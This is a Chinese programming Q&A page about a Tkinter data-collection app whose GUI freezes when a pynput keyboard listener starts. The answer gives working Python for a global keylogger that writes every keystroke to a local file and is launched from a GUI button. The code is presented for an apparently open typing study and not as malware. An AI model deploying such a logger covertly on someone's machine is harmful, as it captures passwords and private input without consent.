如何解决从python中的函数调用键盘记录程序进入无响应状态
我有一个Python文件GUIApp.py
,它创建了一个基于Tkinter
GUI的窗口,现在单击提交,我希望keylogger
在后台启动并运行,记录输入的密钥。当我尝试调用keylogger
函数时,Tkinter
窗口出现
到无响应状态,并且不执行其余操作。下面是代码。请帮助。
from tkinter import *
import pynput
import logging
from pynput.keyboard import Key as key,Listener
def typingActivity():
keys = []
log_dir = r"C:/Users/navesh/desktop/"
logging.basicConfig(filename=(log_dir + "kLog.txt"),level=logging.INFO,format='%(asctime)s: %(message)s')
def on_press(key):
keys.append(key)
# write_file(keys)
logging.info("pressed " + str(key))
def on_release(key):
# print('{0} released'.format(key))
keys.append(key)
logging.info("Released " + str(key))
with Listener(on_press=on_press,on_release=on_release) as listener:
listener.join()
typingAct = Tk()
typingAct.title("Typing Activity")
typingAct.geometry("1500x1500")
userId = userTextBox.get()
q1Label = Label(typingAct,text="1. Why will you recommend this phone")
q1Label.pack()
q1TextBox = Entry(typingAct,width=90)
q1TextBox.pack()
log_dir = r"C:/Users/desktop/"
logging.basicConfig(filename=(log_dir + userId+".txt"),format='%(asctime)s: %(message)s')
root = Tk()
root.title("Data Collection")
root.geometry("1000x1000")
welcomeText = Text(root,height=20,width=50)
#welcomeText.configure('bold_italics',font=('Arial',12,'bold','italic'))
#root,text="Open browser in desktop")
welcomeText.pack()
welcomeText.insert(END,"Welcome")
userLabel = Label(root,text="Enter UserID")
userLabel.pack()
userTextBox = Entry(root,width=30)
userTextBox.pack()`enter code here`
submitButton = Button(root,text ="Next",command=typingActivity)
submitButton.pack()
root.mainloop()
解决方法
创建两个脚本,一个是GUI,另一个是键盘记录器脚本:
#GUI.py
import tkinter as tk
import os
import time
import pytesseract_capturer
top = tk.Tk()
top.geometry("200x50")
def opening():
os.system("keylogger.py") #this runs the script keylogger.py when you click capture(or mention the location where your keylogger is)
b = tk.Button(top,text = "quit",width=10,fg="red",command=quit)
b.pack(side=tk.RIGHT)
a = tk.Button(top,text = "capture",fg="blue",command=opening)
a.pack(side=tk.LEFT)
top.mainloop()
keylogger.py
# keylogger using pynput module
import pynput
from pynput.keyboard import Key,Listener
keys = []
def on_press(key):
keys.append(key)
write_file(keys)
try:
print('alphanumeric key {0} pressed'.format(key.char))
except AttributeError:
print('special key {0} pressed'.format(key))
def write_file(keys):
with open('D:/log.txt','w') as f: # This will save in D drive as log.txt
for key in keys:
# removing ''
k = str(key).replace("'","")
f.write(k)
# explicitly adding a space after
# every keystroke for readability
f.write(' ')
def on_release(key):
print('{0} released'.format(key))
if key == Key.esc:
# Stop listener
return False
with Listener(on_press = on_press,on_release = on_release) as listener:
listener.join()
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。